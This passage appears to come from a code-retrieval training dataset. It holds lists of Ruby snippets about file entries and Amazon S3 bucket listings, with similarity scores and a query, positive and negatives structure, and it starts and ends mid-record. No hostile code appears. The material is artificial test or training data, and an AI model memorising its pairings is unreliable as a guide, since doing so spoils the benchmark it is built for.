a file: '#{name_of_subject}'\"\n\n\tend", "def file\n @file ||= Operations::FileFactory.new(self)\n end", "def initialize(key, filename, content)\n @key = key\n @filename = filename\n @content = content\n end", "def file(at_path = nil)\n at_path ||= @full_path\n File.new at_path\n end", "def file(at_path = nil)\n at_path ||= @full_path\n File.new at_path\n end", "def initialize( fn )\n @path = fn\n @dir = ::Webby::Resources.dirname(@path)\n @name = ::Webby::Resources.basename(@path)\n @ext = ::Webby::Resources.extname(@path)\n @mtime = ::File.mtime @path\n\n @_meta_data = {}\n self._reset\n end", "def initialize(options={})\r\n @file_added = options[:file_added]\r\n @file_removed = options[:file_removed]\r\n @file_changed = options[:file_changed]\r\n @file_info = {}\r\n end", "def build_file(repo_rel_path, entry)\n full_path = repo_rel_path.join(entry)\n content = file_content(full_path)\n\n File.write(full_path, content)\n end", "def file_record_for(path)\n\t\t\tmetadata = metadata_for(:file, path)\n\t\t\t\n\t\t\t# Should this be here or in metadata_for?\n\t\t\t# metadata.merge!(digests_for(path))\n\t\t\t\n\t\t\tRecord.new(:file, path.relative_path, metadata)\n\t\tend", "def file(file_id)\n self.class.new @repo, @path, :file_id => file_id, :file_log => file_log\n end", "def file\n folder = ProjectFolder.new self\n LogFile.new folder\n end", "def create_file(title, description, parent_id, mime_type, file_name)\n \tinsert_file(title, description, parent_id, 'application/vnd.google-apps.file', file_name)\n\tend", "def get_entries(directory_or_file, entry_path, ignore_entries)\n if File.directory? directory_or_file\n get_dir_entries_recursively(directory_or_file, entry_path, ignore_entries)\n else\n FileEntry.new(directory_or_file, false, entry_path)\n end\n end", "def entries\n @entries ||= Hash.new do |entries, path|\n path = self.class.path(path).to_s\n entries[path] = if @original_files.include? path\n zip.fopen(path).read\n else\n \"\"\n end\n end\n end", "def file(id)\n Box::File.new(@api, nil, :id => id)\n end", "def initialize root=\".\", verbose = true, ext=\".java\"\n @root = File.absolute_path root\n @verbose = verbose\n @files = Hash.new # files found\n @extension = ext\n end", "def initialize (file_name, doc)\n begin\n @name = doc.root.elements[\"delta/file/name\"].text\n @sha = doc.root.elements[\"delta/file/sha\"].text\n @app = doc.root.elements[\"delta/app/name\"].text\n @nsrl = doc.root.elements[\"delta/app/nsrl\"].text\n @action = doc.root.elements[\"delta/app/action\"].text\n rescue\n Wired::Dataset::format_error(file_name, __LINE__)\n end\n end", "def initialize(params = {})\n @file = params.delete(:filecontents)\n super\n if @file\n self.filename = sanitize_filename(@file.original_filename)\n self.filetype = @file.content_type\n self.filecontents = @file.read\n end\n end", "def initialize(name, contents, mime_type = nil)\n @name = name\n @contents = contents\n @mime_type = mime_type\n end", "def create(path, opts={}, &block)\n io = StringIO.new\n opts[:encoding] ? io.set_encoding(opts[:encoding]) : io.binmode\n\n @files[norm_path(path)] = Entry.new(io, Time.now, opts[:content_type], opts[:metadata] || {})\n return io unless block\n\n begin\n yield(io)\n ensure\n io.close\n end\n end", "def initialize(in_file)\n @file = File.new(in_file, \"a+\")\n @filename = in_file\n end", "def initialize(object, file)\n super(object, file)\n @name = object.name\n end", "def initialize(object, file)\n super(object, file)\n @name = object.name\n end", "def bencode_info_entry(info)\n root = BDictionary.new\n\n if info[FILES].blank? # single file mode\n root[LENGTH] = BNumber.new(info[LENGTH])\n else\n files_list = BList.new\n info[FILES].each do |info_file|\n file = BDictionary.new\n file[LENGTH] = BNumber.new(info_file[LENGTH])\n file_path_list = BList.new\n info_file[PATH].each {|info_file_path| file_path_list << BString.new(info_file_path) }\n file[PATH] = file_path_list\n files_list << file\n end\n root[FILES] = files_list\n end\n root[NAME] = BString.new(info[NAME])\n root[PIECE_LENGTH] = BNumber.new(info[PIECE_LENGTH])\n root[PIECES] = BString.new(info[PIECES])\n root[PRIVATE] = BNumber.new(info[PRIVATE]) if info[PRIVATE]\n root.out\n end", "def add_file entry, content = nil\n path = repo_path.join entry\n dir, filename = path.split unless entry.end_with? \"/\"\n\n FileUtils.mkdir_p dir.to_s == '.' ? repo_path : dir\n FileUtils.touch path if filename\n File.write path, content if filename && content\n end", "def create_file(file)\n @generic_file = GenericFile.new\n @generic_file.batch_id = object.batch.pid\n @generic_file.add_file(file.read, 'content', file.name)\n @generic_file.apply_depositor_metadata(object.edit_users.first)\n @generic_file.date_uploaded = Time.now.ctime\n @generic_file.date_modified = Time.now.ctime\n @generic_file.save\n end", "def entry\n Entry.new\n end", "def files\n self.raise\n click_on_perc(@id, 5.7, 2.5)\n # Return the new window\n return Files.new\n end", "def initialize(manifest_entry, project_dir, build_dir)\n @name = manifest_entry.name\n @source = manifest_entry.locked_source\n @resolved_version = manifest_entry.locked_version\n @described_version = manifest_entry.described_version\n @project_dir = project_dir\n @build_dir = build_dir\n end", "def initialize(id, file_name, file_data, file_type)\n @id = id\n @file_name = file_name\n @file_data = file_data\n @file_type = file_type\n end", "def initialize(object, file)\n super(object, file)\n @name = object.name\n @parent_class = object.parent_class\n end", "def build_entry(entry, opts={})\n build_entries([entry], opts)\n end", "def map_entry\n raise ArgumentError, \"No entry file specified\" unless @entry_file\n base_paths = @base_paths.collect {|path| Pathname.new(path).expand_path }\n (strip_path(base_paths, @entry_file) || @entry_file).to_s\n end", "def initialize(file)\n @uri = nil\n @path = ::File.expand_path(file)\n\n @package = Gem::Package.new @path\n @spec = @package.spec\n @name = @spec.name_tuple\n end", "def file(*args)\n if args.empty?\n return @file\n else\n @file = args[0]\n return self\n end\n end", "def retrieve_files_in_main_dir\n ensure_file_open!\n @file.glob('*').map do |entry|\n next if entry.directory?\n\n entry_file_name = Pathname.new(entry.name)\n [entry_file_name, entry.get_input_stream(&:read)]\n end.compact.to_h\n end", "def create_file_from_url(env, uri, file_name, auth_header = {})\n ::FileSet.new(import_url: uri.to_s, label: file_name) do |fs|\n actor = file_set_actor_class.new(fs, env.user)\n actor.create_metadata(visibility: env.curation_concern.visibility)\n actor.attach_to_work(env.curation_concern)\n fs.save!\n ordered_members << fs\n if uri.scheme == 'file'\n # Turn any %20 into spaces.\n file_path = CGI.unescape(uri.path)\n IngestLocalFileJob.perform_later(fs, file_path, env.user)\n else\n ImportUrlJob.perform_later(fs, operation_for(user: actor.user), auth_header)\n end\n end\n end", "def initialize(*args)\n @options = {\n :access_level => 'public-read',\n :file_mapping => nil,\n :object => nil\n }\n @options.update(args.extract_options!)\n @options.stringify_keys!\n\n @raw_file = args.first\n @config = configuration\n @connection = Uv::Storage::Connection.new(self.config)\n @object = @options['object']\n\n debug \"Initializing new Uv::Storage::File\"\n debug \"Args First is a: #{args.first.class.to_s}\"\n debug \"Config loaded: #{config.present?}\"\n debug \"Connection loaded: #{connection.present?}\"\n debug \"Object given: #{object.present?}\"\n debug \"Raw File given: #{@raw_file.present?}\"\n debug \"Options given: #{options.present?}\"\n debug \"Identifier given: #{options['identifier'].present?}\"\n\n validate_object(@object) if @object.present?\n end", "def define_struct\n fields = (@entry_fields + [:raw_entry]).sort_by{|key|key.to_s}\n verbose = $VERBOSE\n $VERBOSE = nil\n Struct.new( \"Entry\", *fields )\n $VERBOSE = verbose\n end", "def add_file(attrs)\n return if search(\"//ovf:References/ovf:File[@ovf:href='#{attrs[:href]}']\").count == 1\n file = Nokogiri::XML::Node.new 'File', self\n file['ovf:href'] = attrs[:href] if attrs[:href]\n if attrs[:id]\n file['ovf:id'] = attrs[:id]\n else\n n = filecount + 1\n file['ovf:id'] = \"file#{n}\"\n end\n at('//ovf:References').add_child file\n end", "def initialize(file)\n @file = file\n end", "def initialize(file)\n @file = file\n end", "def initialize(file)\n @file = file\n end", "def build_node(file)\n parent = parent_folder(file)\n category = parent == \".\" ? to_symbol(@directory) : to_symbol(parent)\n basename = basename(file)\n title = basename_to_title(basename)\n html = Renderer.new.render_internal(file)\n\n { title: title,\n basename: basename,\n path: File.realpath(file),\n category: category,\n html: html }\n end", "def initialize(entry, sender=nil, by=nil)\n @sender = sender\n @by = by\n @occurred = entry[:occurred]\n @content = entry[:content] || ''\n @source = entry[:source]\n @type = entry[:type]\n end", "def initialize(fp, **ctx)\n @ctx = ctx\n @fp = fp.chop.chop\n\n open(fp) {|f|\n @content = f.read\n }\n\n extract_info\n end", "def new_file(path, sub_group_path = nil, set_name = true)\n file = project.new(PBXFileReference)\n file.path = path.to_s\n file.update_last_known_file_type\n\n target = find_subpath(sub_group_path, true)\n target.children << file\n\n same_path_of_group = target.path == file.pathname.dirname.to_s\n same_path_project = file.pathname.dirname.to_s == '.' && target.path.nil?\n unless same_path_of_group || same_path_project\n file.name = file.pathname.basename.to_s\n end\n file\n end", "def files\n entries.map(&:filepath)\n end", "def initialize(filename)\n @fname = filename\n end", "def new(options)\n if options.has_key? :directory\n dir = self[options.delete(:directory)]\n FileUtils.mkdir_p dir.path\n else\n file = self[options.delete(:file)]\n if (binary_content = options.delete(:with_binary_content) || options.delete(:with_binary_contents))\n file.binary_content = binary_content\n else\n file.content = (options.delete(:with_content) || options.delete(:with_contents) || '')\n end\n end\n\n raise \"unexpected keys '#{options.keys.join(', ')}'\" unless options.empty?\n\n dir || file\n end", "def initialize(settings, wildcat_file)\n @settings = settings\n @source_path = wildcat_file.path\n @source_text = wildcat_file.text\n @destination_path, @permalink, @relative_path = WildcatUtils.paths(@source_path, @settings.posts_folder, @settings.blog_output_folder, @settings.site_url, @settings.output_file_suffix)\n @attributes = wildcat_file.attributes\n @external_url = @attributes[LINK_KEY]\n @title = @attributes[TITLE_KEY]\n\n @content_html = wildcat_file.to_html\n if !@content_html.start_with?('<p>')\n \t@content_html = '<p>' + content_html\n end\n\n @pub_date = @attributes[PUB_DATE_KEY]\n @mod_date = @attributes[MOD_DATE_KEY]\n @rendered_html_including_link = nil\n @rendered_html = nil\n\n enclosure_url = @attributes[ENCLOSURE_URL_KEY]\n if !enclosure_url.nil? && !enclosure_url.empty?\n @enclosure = Enclosure.new(@attributes)\n else\n @enclosure = nil\n end\n\n @itunes_duration = @attributes[ITUNES_DURATION_KEY]\n @itunes_subtitle = @attributes[ITUNES_SUBTITLE_KEY]\n @itunes_summary = @attributes[ITUNES_SUMMARY_KEY]\n @itunes_explicit = @attributes[ITUNES_EXPLICIT_KEY]\n @media_thumbnail = @attributes[MEDIA_THUMBNAIL_KEY]\n\n end", "def file=(_arg0); end", "def file=(_arg0); end", "def file=(_arg0); end", "def field_file libelle, prop, value = nil, options = nil\n Field.new(:file, libelle, prop, value, options).form_row\n end", "def initialize name\n @name = name\n @version = nil\n @author = nil\n @files = {}\n end", "def initialize(file_path)\n @file_path = file_path\n end", "def new\n @entry = Entry.new\n @folders = Folder.find(:all, :order => \"updated_at DESC\").map { |f| [f.name, f.id] }\n @new = true;\n\n respond_to do |format|\n format.html { render \"edit\" }\n format.xml { render :xml => @entry }\n end\n end", "def generate_file_data(format, cgi, item_entry, item, download_allowed)\n file_data = \"\"\n file_metadata = generate_item_metadata(format, cgi, item_entry)\n \n case format.downcase\n when \"html\"\n file_data += cgi.li(\"class\" => \"file\"){ \n cgi.div(\"class\" => \"file_item\") do\n cgi.div(\"class\" => \"item_data\") do\n \"<b>File: </b>\" + cgi.a(location_string(item_entry.contributable_type, item.id)){item.title} + \n (download_allowed ? (\"&nbsp;&nbsp;&nbsp;[ \" + cgi.a(\"./files/\" + item.local_name){\"open local copy\"} + \" ]\") : \"\") + \"<br/>\" +\n uploader_string(item.contributor_type, item.contributor_id, true) + \"<br/>\"\n end +\n file_metadata\n end\n }\n \n when \"text\"\n file_data += \"+ File: #{item.title}\"\n if download_allowed\n file_data += \" (local copy: files/#{item.local_name})\"\n end\n file_data += \"\\n Location: \" + location_string(item_entry.contributable_type, item.id)\n file_data += \"\\n \" + uploader_string(item.contributor_type, item.contributor_id, false) + \"\\n\"\n file_data += file_metadata\n \n else\n return \"ERROR\"\n end\n \n return file_data\n end", "def initialize metadata = nil, files = nil\n @metadata = metadata || Metadata.new\n @files = files || []\n end", "def initialize(blob, commit)\n @blob = blob\n @commit = commit\n @file = File.new(blob.path, nil)\n end", "def initialize(path)\n @filename = Pathname.new(path).basename\n parser = ::Orgmode::Parser.new(File.open(path).read)\n @children = {}\n @headlines = []\n @last_parent = {}\n @root = Item.new(:title => @filename)\n @items = {}\n @parents = {}\n self.parse(parser,0)\n self.to_items\n self.items = @root\n end", "def initialize(name)\n\n @name = name # The name of the entry\n\n end", "def initialize(file_name)\n super()\n @name = nil\n @relative_name = file_name\n @absolute_name = file_name\n @file_stat = File.stat(file_name) rescue nil # HACK for testing\n @diagram = nil\n @parser = nil\n\n RDoc::TopLevel.lock.synchronize do\n RDoc::TopLevel.files_hash[file_name] = self\n end\n end", "def get_entry(entry)\n selected_entry = find_entry(entry)\n raise Errno::ENOENT, entry if selected_entry.nil?\n\n selected_entry\n end", "def initialize(file_name)\n create(file_name)\n end", "def initialize(file_path)\n\t\tbegin\n\t\t\t@file_desc = File.open(file_path)\n\t\trescue\n\t\t\traise \"File not found\"\n\t\tend\n\tend", "def file_object\n @file_object ||= Valkyrie::StorageAdapter.find_by(id: original_file.file_identifiers[0])\n end", "def file_object\n @file_object ||= Valkyrie::StorageAdapter.find_by(id: original_file.file_identifiers[0])\n end", "def file_object\n @file_object ||= Valkyrie::StorageAdapter.find_by(id: original_file.file_identifiers[0])\n end" ]
[ "0.707368", "0.6435443", "0.60239404", "0.60206103", "0.6004584", "0.6004584", "0.5979974", "0.5979406", "0.5894683", "0.5795043", "0.5780083", "0.5776476", "0.5754656", "0.5693253", "0.5684063", "0.56812537", "0.55654967", "0.5563625", "0.55517024", "0.55432194", "0.551408", "0.55041397", "0.550053", "0.5482192", "0.5451655", "0.5438239", "0.5438239", "0.5433511", "0.54290056", "0.5424474", "0.542444", "0.5407362", "0.53958136", "0.53902245", "0.53902245", "0.5380907", "0.5379362", "0.53780705", "0.5346209", "0.53458464", "0.53427464", "0.5341369", "0.5340816", "0.5334802", "0.53313935", "0.53310716", "0.53236175", "0.53221256", "0.5315723", "0.5313875", "0.53121907", "0.5289723", "0.5289723", "0.5289459", "0.5286734", "0.52864385", "0.52862066", "0.5284205", "0.52711844", "0.5263772", "0.526158", "0.5260585", "0.526048", "0.5243186", "0.52396023", "0.5238458", "0.5233757", "0.5227871", "0.52248603", "0.5224021", "0.5217404", "0.5217404", "0.5217404", "0.52066976", "0.51995414", "0.51968926", "0.5195373", "0.5192605", "0.5189364", "0.5189303", "0.5181539", "0.51759213", "0.51759213", "0.51759213", "0.51748574", "0.51729035", "0.5170319", "0.51697713", "0.51687944", "0.51687616", "0.51674336", "0.5164177", "0.51606464", "0.515843", "0.5153906", "0.5153672", "0.5149413", "0.51489204", "0.51489204", "0.51489204" ]
0.7328789
0
Populate the entries with FileEntry objects from an S3 listing
def add_directories(listing) listing.common_prefixes.each do |prefix| new_entry = entry_for(from_base(prefix.prefix), 0, Time.current, true) @entries << new_entry unless new_entry.nil? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract\n init_kms(@kms_opt)\n\n entries.map do |entry|\n local_file = File.join(@local_path, entry.name)\n logger.info \"Downloading #{entry.pathname} from S3 to #{local_file}\"\n File.open(local_file, 'wb') { |file| entry.raw.get({ response_target: file }.merge(encrypt_args)) }\n local_file\n end\n end", "def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end", "def add_files(listing, path)\n listing.contents.each do |entry|\n key = from_base(entry.key)\n new_entry = entry_for(key, entry.size, entry.last_modified, false)\n @entries << new_entry unless strip(key) == strip(path) || new_entry.nil?\n end\n end", "def initialize \n @s3 = Aws::S3::Resource.new(region: 'us-east-1', access_key_id: Rails.application.credentials.dig(:aws, :access_key_id), secret_access_key: Rails.application.credentials.dig(:aws, :secret_access_key))\n @date_time = Time.new \n @file_names = []\n @downloads = []\n @sorted_downloads\n end", "def find_s3_files\n output = `s3cmd ls #{self.location}/`\n output.gsub!(/DIR/,\"\")\n output.gsub!(/ +/,\" \")\n dir_listing = output.split(/\\n/)\n logger.debug(\"dir_listing #{dir_listing.inspect}\")\n files = Hash.new\n dir_listing.each do |list|\n if (list.match(/^ /)) then\n # found a directory - not going to worry about going down the directory for now\n else\n # found a file\n (date, time, size, path) = list.split(/ /)\n filename = File.basename(path).split(\"/\").last\n FILE_TYPES.each { |filepart, filehash| \n type = filehash[\"type\"]\n vendor = filehash[\"vendor\"]\n if filename.match(filepart) then \n #logger.debug( \"filename is #{filename}\")\n files[type] = Hash.new\n files[type][\"path\"] = path\n files[type][\"vendor\"] = vendor\n end\n }\n end\n end\n logger.debug(\" files is #{files.inspect}\")\n return files\n end", "def file_all(bucket)\n result = request(\n :path => full_path(bucket),\n :expects => [200, 204],\n :params => {\n :format => :json\n }\n )\n [result[:body]].flatten.compact.map do |file|\n File.new(\n bucket,\n :id => ::File.join(bucket.name, file[:name]),\n :name => file[:name],\n :updated => file[:last_modified],\n :size => file[:bytes].to_i\n ).valid_state\n end\n end", "def files\n entries.map{ |f| FileObject[path, f] }\n end", "def parse\n hash = Hash.from_xml(@xml)\n\n contents = hash[\"ListBucketResult\"][\"Contents\"]\n\n # In cases when there is only one item returned,\n # Contents key is parsed as a Hash; make it into an array\n unless contents.is_a?(Array)\n if contents.is_a?(Hash)\n contents = [contents]\n else\n raise StandardError,\n \"Expected 'ListBucketResult/Contents' \" +\n \"key to be an Array, was '#{contents.class}'\"\n end\n end\n\n files = contents.map do |content|\n S3::File.new(\n content[\"Key\"],\n content[\"Size\"],\n content[\"ETag\"].gsub('\"', ''),\n Time.parse(content[\"LastModified\"]),\n @logger,\n )\n end\n\n max_keys = hash[\"ListBucketResult\"][\"MaxKeys\"].to_i\n\n is_truncated = hash[\"ListBucketResult\"][\"IsTruncated\"] == \"true\"\n\n S3::BucketPage.new(@bucket_url, files, max_keys, is_truncated, @logger)\n end", "def buckets\n response = send_s3_request\n parser = Awsum::S3::BucketParser.new(self)\n parser.parse(response.body)\n end", "def collect_media(prefix=\"\")\n media = {}\n\n s3_media = list_objects(prefix)\n puts \"Found #{s3_media.count} objects\"\n s3_media.each do |object|\n path = object[:key].slice(6, object[:key].length)\n media[path] ||= {}\n media[path][:s3] = object\n end\n\n local_media = list_files(prefix)\n puts \"Found #{local_media.count} files\"\n local_media.each do |file|\n path = file[:path].slice(6, file[:path].length)\n media[path] ||= {}\n media[path][:local] = file\n end\n\n media\nend", "def list_s3_bucket_files(bucket)\n\n s3 = connect_to_s3()\n resp = s3.list_objects_v2(bucket: bucket)\n counter = 1\n\n resp.contents.each do |obj|\n puts \"#{bucket} bucket file #{counter}: #{obj.key}\"\n counter += 1\n end\n\nend", "def find(key, bucket = nil)\n # N.B. This is arguably a hack. From what the current S3 API exposes, when you retrieve a bucket, it\n # provides a listing of all the files in that bucket (assuming you haven't limited the scope of what it returns).\n # Each file in the listing contains information about that file. It is from this information that an S3Object is built.\n #\n # If you know the specific file that you want, S3 allows you to make a get request for that specific file and it returns\n # the value of that file in its response body. This response body is used to build an S3Object::Value object. \n # If you want information about that file, you can make a head request and the headers of the response will contain \n # information about that file. There is no way, though, to say, give me the representation of just this given file the same \n # way that it would appear in a bucket listing.\n #\n # When fetching a bucket, you can provide options which narrow the scope of what files should be returned in that listing.\n # Of those options, one is <tt>marker</tt> which is a string and instructs the bucket to return only object's who's key comes after\n # the specified marker according to alphabetic order. Another option is <tt>max-keys</tt> which defaults to 1000 but allows you\n # to dictate how many objects should be returned in the listing. With a combination of <tt>marker</tt> and <tt>max-keys</tt> you can\n # *almost* specify exactly which file you'd like it to return, but <tt>marker</tt> is not inclusive. In other words, if there is a bucket\n # which contains three objects who's keys are respectively 'a', 'b' and 'c', then fetching a bucket listing with marker set to 'b' will only\n # return 'c', not 'b'. \n #\n # Given all that, my hack to fetch a bucket with only one specific file, is to set the marker to the result of calling String#previous on\n # the desired object's key, which functionally makes the key ordered one degree higher than the desired object key according to \n # alphabetic ordering. This is a hack, but it should work around 99% of the time. I can't think of a scenario where it would return\n # something incorrect.\n \n # We need to ensure the key doesn't have extended characters but not uri escape it before doing the lookup and comparing since if the object exists, \n # the key on S3 will have been normalized\n key = key.remove_extended unless key.valid_utf8?\n bucket = Bucket.find(bucket_name(bucket), :marker => key.previous, :max_keys => 1)\n # If our heuristic failed, trigger a NoSuchKey exception\n if (object = bucket.objects.first) && object.key == key\n object \n else \n raise NoSuchKey.new(\"No such key `#{key}'\", bucket)\n end\n end", "def fs_batch__fetch_from_aws_s3_to_local *args\n aws_s3_path,\n local_path,\n local_path_is_dir,\n reserved = args\n\n aws_s3_batch = aws_s3_batch__fetch_file aws_s3_path, local_path\n\n batch = [\n (local_path_is_dir && [\"mkdir\", \"-p\", \"#{local_path}\" ] || nil),\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ] +\n aws_s3_batch + [\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ]\n\n batch.compact\n end", "def objects\n bucket_obj = Aws::S3::Bucket.new(name: bucket, client: s3_client)\n bucket_obj.objects( prefix: prefix)\n end", "def initialize(entry)\n for name in entry\n self[\"_#{name}\"] = entry[name]\n end\n end", "def process_pending_objects\n prefix = \"#{path.base_name}/#{path.pending}\"\n collection = amazon_s3.bucket.objects(prefix: prefix)\n\n collection.map do |s3_object|\n _, _, filename = s3_object.key.split('/')\n object_type, _, _ = filename.split('_')\n\n content = amazon_s3.convert_download('json', s3_object.get.body.read).first\n s3_object.move_to(\"#{path.base_name_w_bucket}/#{path.ready}/#{filename}\")\n\n # return the content of file to create the requests\n { object_type => content }\n end.flatten\n end", "def s3_files\n S3File.find_by_project_name(folder_name + \"/\") unless folder_name.nil?\n end", "def initialize(folder_path, bucket, aws_key = ENV['AWS_ACCESS_KEY_ID'], aws_secret = ENV['AWS_SECRET_ACCESS_KEY'])\n @folder_path = folder_path\n @files = Dir.glob \"#{@folder_path}/**/{*,.*}\"\n @connection = Aws::S3::Resource.new(access_key_id: aws_key, secret_access_key: aws_secret, region: 'us-east-1')\n @s3_bucket = @connection.bucket(bucket)\n end", "def getObjectsList\n begin\n #get a handle on the user selected bucket\n s3 = createS3Connection\n bucket = s3.buckets[session[:s3bucket]]\n\n #pull down a list of the object names only\n objects_array = []\n # final_objects_array = []\n\n #bucket.objects.each do |obj|\n # objects_array.push(obj.key)\n #end\n\n bucket.objects.each do |obj|\n objects_array.push({:name => obj.key, :size => (obj.content_length / 1024.0).round(2), :type => obj.content_type, :last_mod => obj.last_modified})\n end\n\n objects_array = createEmptyObjectsArray if objects_array.empty?\n\n return objects_array\n #if !objects_array.empty?\n # objects_array.each do |obj_name|\n # final_objects_array.push({:name => obj_name, :size => '', :type => ''})\n # end\n # else\n # final_objects_array = [{:name => '', :size => '', :type => ''}]\n # end\n # return final_objects_array\n rescue Exception => error\n # return createEmptyObjectsArray\n return createEmptyObjectsArray\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating S3 object list: #{error}.\"\n end\n end", "def update \n s3 = AWS::S3.new\n amazons = s3.buckets[BUCKET].objects\n Song.destroy_all\n amazons.each do |song|\n strip_title(song.key)\n Song.create(title: @title, filename: song.key, year: song.metadata[\"year\"], artist: song.metadata[\"artist\"], blurb: song.metadata[\"blurb\"])\n end\n redirect_to songs_path \n end", "def load_checksums!\n return if @options[:noop]\n\n resp = s3.list_objects(bucket: s3_bucket, prefix: @prefix)\n resp.contents.each do |object|\n @checksums[object.key] = strip_surrounding_quotes(object.etag)\n end\n @checksums\n end", "def entries\n @entries ||= Hash.new do |entries, path|\n path = self.class.path(path).to_s\n entries[path] = if @original_files.include? path\n zip.fopen(path).read\n else\n \"\"\n end\n end\n end", "def create_entries\n existing_mappings = site.mappings.where(path: canonical_paths)\n\n records = canonical_paths.map do |canonical_path|\n entry = BulkAddBatchEntry.new(path: canonical_path)\n entry.mappings_batch = self\n entry.mapping = existing_mappings.detect { |mapping| mapping.path == canonical_path }\n entry\n end\n\n BulkAddBatchEntry.import(records, validate: false)\n end", "def place_files_in_buckets\n @files.each do |file|\n place_file_in_buckets(file)\n end\n end", "def list\n ret = get()\n return [] if ret.is_a? Hash and ret.has_key? :error\n ret.map{|i| FileItem.new(i)}\n end", "def list_objects(bucket_name:, fetch_object_content_type: false, **opts)\n response_objects = s3_client.list_objects(bucket: bucket_name, **opts)\n formatted_objects = response_objects.contents.map do |obj|\n metadata = {\n key: obj.key,\n last_modified: obj.last_modified,\n }\n if fetch_object_content_type\n metadata.merge!(object_details(bucket_name: bucket_name, key: obj.key))\n end\n metadata\n end\n end", "def entry_files\n @entry_files = base_files @entry_path\n end", "def import_file_content_from_s3\n AWS::S3.new.buckets['csv_data_feed'].objects['csv.csv'].read\nend", "def initialize(s3_keys, bucket)\n @s3_keys = s3_keys\n @bucket = bucket\n end", "def load_objects(dir_name, kind, klass)\n files(dir_name).map do |filename|\n # Read and parse data\n meta, content = *parse_file(filename, kind)\n\n # Get attributes\n attributes = {\n :filename => filename,\n :extension => File.extname(filename)[1..-1],\n :file => Nanoc3::Extra::FileProxy.new(filename)\n }.merge(meta)\n\n # Get actual identifier\n identifier = filename_to_identifier(filename, dir_name)\n\n # Get mtime\n mtime = File.stat(filename).mtime\n\n # Build item\n klass.new(content, attributes, identifier, mtime)\n end\n end", "def remote_files(bucket, folders)\n objects = @s3.buckets[bucket].objects.with_prefix(File.join(folders))\n objects.each do |object|\n relative_path = object.key.split(/\\//).drop folders.length\n next if object.content_length.nil? or object.content_length == 0 or relative_path.empty?\n yield remote_item(object, relative_path)\n end\n end", "def update\n foldernames = []\n if listing_params.has_key?('photo') && @listing.photo.present?\n foldernames.push(@listing.photo.match(/uploads.*/)[0])\n end\n if listing_params.has_key?('manual') && @listing.manual.present?\n foldernames.push(@listing.manual.match(/uploads.*/)[0])\n end\n if listing_params.has_key?('map') && @listing.map.present?\n foldernames.push(@listing.map.match(/uploads.*/)[0])\n end\n foldernames.each {|foldername|\n S3_BUCKET.delete_objects(delete: {objects: [key: foldername]})\n }\n respond_to do |format|\n if @listing.update(listing_params)\n format.html { redirect_to @listing, notice: 'Listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def load_entries\n @lines = IO.readlines(@filename)\n @lines.each_with_index do |line,idx|\n if entry_klass.is_entry?(line) then\n entry = entry_klass.from_line(line)\n v = { 'entry' => entry, 'line_index' => idx }\n @entries[entry.key] = v\n end\n end\n end", "def set_metadata\n s3_obj.metadata[\"filename\"] = file_name\n s3_obj.metadata[\"bindery-pid\"] = persistent_id\n end", "def ingest_file_hashes(to_save, uploader, skip_validations, obj, parent)\n \n x_file_hashes = []\n obj.hashes.each do |i|\n x2 = self.parse_sub_obj(to_save, uploader, skip_validations, i, parent)\n next if x2.blank?\n \n x_file_hashes << x2\n end\n x_file_hashes\n end", "def retrieve_log_files_from_s3\n s3_log_reader.retrieve_job_files(record_id)\n end", "def bucket_meta_objects(bucket_name, *args)\n options = {\n :delimeter => nil,\n :marker => nil,\n :max_keys => nil,\n :prefix => nil\n }\n options.merge!(args.pop) if args.last.is_a? Hash\n\n path = \"/?\"\n path << \"delimeter=#{options[:delimeter]}&\" if !options[:delimeter].nil?\n path << \"marker=#{options[:marker]}&\" if !options[:marker].nil?\n path << \"max-keys=#{options[:max_keys]}&\" if !options[:max_keys].nil?\n path << \"prefix=#{options[:prefix]}&\" if !options[:prefix].nil?\n path.gsub!(/[&]$/, '')\n\n hpr = Hpricot(connection.get(path, bucket_name))\n hpr.search(\"contents\").map do |el|\n BucketMetaObject.new(\n {\n :bucket_name => bucket_name,\n :key => el.search(\"key\").inner_html,\n :last_modified => el.search(\"lastmodified\").inner_html,\n :e_tag => el.search(\"etag\").inner_html,\n :size => el.search(\"size\").inner_html,\n :storage_class => el.search(\"storageclass\").inner_html,\n :owner_id => el.search(\"id\").inner_html,\n :owner_display_name => el.search(\"displayname\").inner_html\n }\n )\n end\n end", "def each_entry(&block)\n return enum_for(:each_entry) unless block_given?\n\n # XXX We have to re-open the archive on every call because libarchive is designed for streaming and doesn't\n # support iterating across the archive multiple times.\n archive = ::Archive::Reader.open_filename(file.path)\n while (entry = archive.next_header(clone_entry: true))\n yield Entry.new(archive, entry)\n end\n\n self\n ensure\n archive&.close\n end", "def buckets( opts = {} )\n jbuckets = @jservice.list_all_buckets\n jbuckets.map { |jb| S3Bucket.new( self, jb, opts ) }\n end", "def list\n ::Taxi::S3.instance.list_buckets\n end", "def run\n super\n region = s3_bucket_enriched? # check if bucket is enriched and if so a region will be returned if bucket exists\n return if region.nil?\n\n bucket_name = _get_entity_detail 'bucket_name'\n objects_list = parse_objects\n\n s3_client = initialize_s3_client(region, bucket_name)\n\n readable_objects = filter_readable_objects(s3_client, bucket_name, objects_list)\n return if readable_objects.empty?\n\n add_objects_to_s3_entity(@entity, readable_objects)\n create_issue(bucket_name, readable_objects)\n end", "def populate_files(path:)\n files = list_files(path: path)\n populated = []\n files.each do |file|\n populated << Manifests::FileEntry.new(file: { filepath: IngestUtils.relative_path(file, path) })\n end\n populated\n end", "def generate_listing(path)\n client\n listing = client.list_objects(bucket: config[:bucket], delimiter: '/', prefix: full_path(path))\n add_directories(listing)\n add_files(listing, path)\n end", "def ls(bucket)\n ::Taxi::S3.instance.ls(bucket)\n end", "def files_json_seed(json, entry)\n Pageflow.config.file_types.each do |file_type|\n json.set!(file_type.collection_name) do\n json.array!(entry.find_files(file_type.model)) do |file|\n json.partial!('pageflow/files/file', file: file, file_type: file_type)\n end\n end\n end\n end", "def file_list(hash)\n\nend", "def file_list(hash)\n\nend", "def list_objects(prefix=\"\")\n prefix = 